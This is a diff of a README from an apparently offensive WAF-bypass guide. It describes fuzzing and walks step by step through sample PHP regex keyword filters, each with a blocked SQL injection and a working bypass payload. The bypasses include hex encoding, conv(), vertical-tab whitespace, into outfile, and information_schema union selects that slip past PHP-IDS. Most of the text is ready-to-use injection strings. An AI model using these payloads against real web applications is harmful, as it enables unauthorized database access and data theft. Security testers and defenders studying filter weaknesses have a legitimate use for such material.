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Added few more perks to it
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0xInfection
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README.md
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README.md
@ -1223,12 +1223,12 @@ Wanna detect WAFs? Lets see how.
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Lets look at some methods of bypassing and evading WAFs.
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### Fuzzing/Bruteforcing:
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- __Method:__
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__Method:__
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Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
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- Wordlists specifically for fuzzing - [Seclists Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing).
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- Can be done with automated tools like BurpSuite Intruder.
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- __Technique:__
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__Technique:__
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- Load up your wordlist into Burp Intruder/custom fuzzer and start the bruteforce.
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- Record/log all responses from the different payloads fuzzed.
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- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
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@ -1240,80 +1240,73 @@ Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
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- Many a times your IP will be blocked (temporarily/permanently).
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### Regex-Reversing:
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- __Method:__
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__Method:__
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- Most efficient method of bypassing WAFs.
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- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
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- Payload matches the reg-ex the WAF triggers alarm.
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- __Techniques:__
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__Techniques:__
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##### Step 1:
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Keyword filer: `and`, `or`, `union`
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----
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Possible PHP Filter Code: `preg_match('/(and|or|union)/i', $id)`
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__Keyword filer__: `and`, `or`, `union`
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__Possible PHP Filter Code__: `preg_match('/(and|or|union)/i', $id)`
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- __Filtered Injection__: `union select user, password from users`
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- __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'`
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##### Step 2:
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Keyword filer: `and`, `or`, `union`, `where`
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----
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Possible PHP Filter Code: `preg_match('/(and|or|union|where)/i', $id)`
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__Keyword filer__: `and`, `or`, `union`, `where`
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__Possible PHP Filter Code__: `preg_match('/(and|or|union|where)/i', $id)`
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- __Filtered Injection__: `1 || (select user from users where user_id = 1) = 'admin'`
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- __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'`
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##### Step 3:
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Keyword filer: `and`, `or`, `union`, `where`, `limit`
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----
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Possible PHP Filter Code: `preg_match('/(and|or|union|where|limit)/i', $id)`
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__Keyword filer__: `and`, `or`, `union`, `where`, `limit`
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__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit)/i', $id)`
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- __Filtered Injection__: `1 || (select user from users limit 1) = 'admin'`
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- __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
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##### Step 4:
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Keyword filer: `and`, `or`, `union`, `where`, `limit`, `group by`
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----
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Possible PHP Filter Code: `preg_match('/(and|or|union|where|limit|group by)/i', $id)`
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__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`
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__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by)/i', $id)`
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- __Filtered Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
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- __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`
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##### Step 5:
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Keyword filer: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`
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----
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Possible PHP Filter Code: `preg_match('/(and|or|union|where|limit|group by|select)/i', $id)`
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__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`
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__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select)/i', $id)`
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- __Filtered Injection__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
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- __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'`
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- __Bypassed Injection__: `1 || substr(user,1,1) = 'a'`
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##### Step 6:
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Keyword filer: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`
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----
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Possible PHP Filter Code: `preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)`
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__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`
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__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)`
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- __Filtered Injection__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
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- __Bypassed Injection__: `1 || user_id is not null`
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- __Bypassed Injection__: `1 || substr(user,1,1) = 0x61`
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- __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)`
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##### Step 7:
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Keyword filer: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`
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----
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Possible Possible PHP Filter Code: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)`
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__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`
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Possible __Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)`
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- __Filtered Injection__: `1 || substr(user,1,1) = unhex(61)`
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- __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
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##### Step 8:
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Keyword filer: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`
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----
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Possible PHP Filter Code: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)`
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__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`
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__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)`
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- __Filtered Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
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- __Bypassed Injection__: `1 || lpad(user,7,1)`
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##### Step 9:
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Keyword filer: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space`
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----
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Possible PHP Filter Code: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)`
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__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space`
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__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)`
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- __Filtered Injection__: `1 || lpad(user,7,1)`
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- __Bypassed Injection__: `1%0b||%0blpad(user,7,1)`
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PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols.
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---
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__PHP-IDS__ generally blocks input containing `=` or `(` or `'` following with any a string or integer e.g. `1 or 1=1`, `1 or '1'`, `1 or char(97)`. However, it can be bypassed using a statement that does not contain `=`, `(` or `'` symbols.
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#### Scenario 1:
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- __Filtered Injection__: `1 or 1 = 1`
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@ -1326,11 +1319,10 @@ PHPIDS generally blocks input containing = or ( or ' following with any a string
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- __Bypassed Injection__: `1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a`
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- __Bypassed Injection__: `1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273`
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- __Drawbacks:__
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__Drawbacks:__
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- This method is time consuming.
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## Google Dorks Approach:
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-
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## Awesome Tools
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### WAF Fingerprinting:
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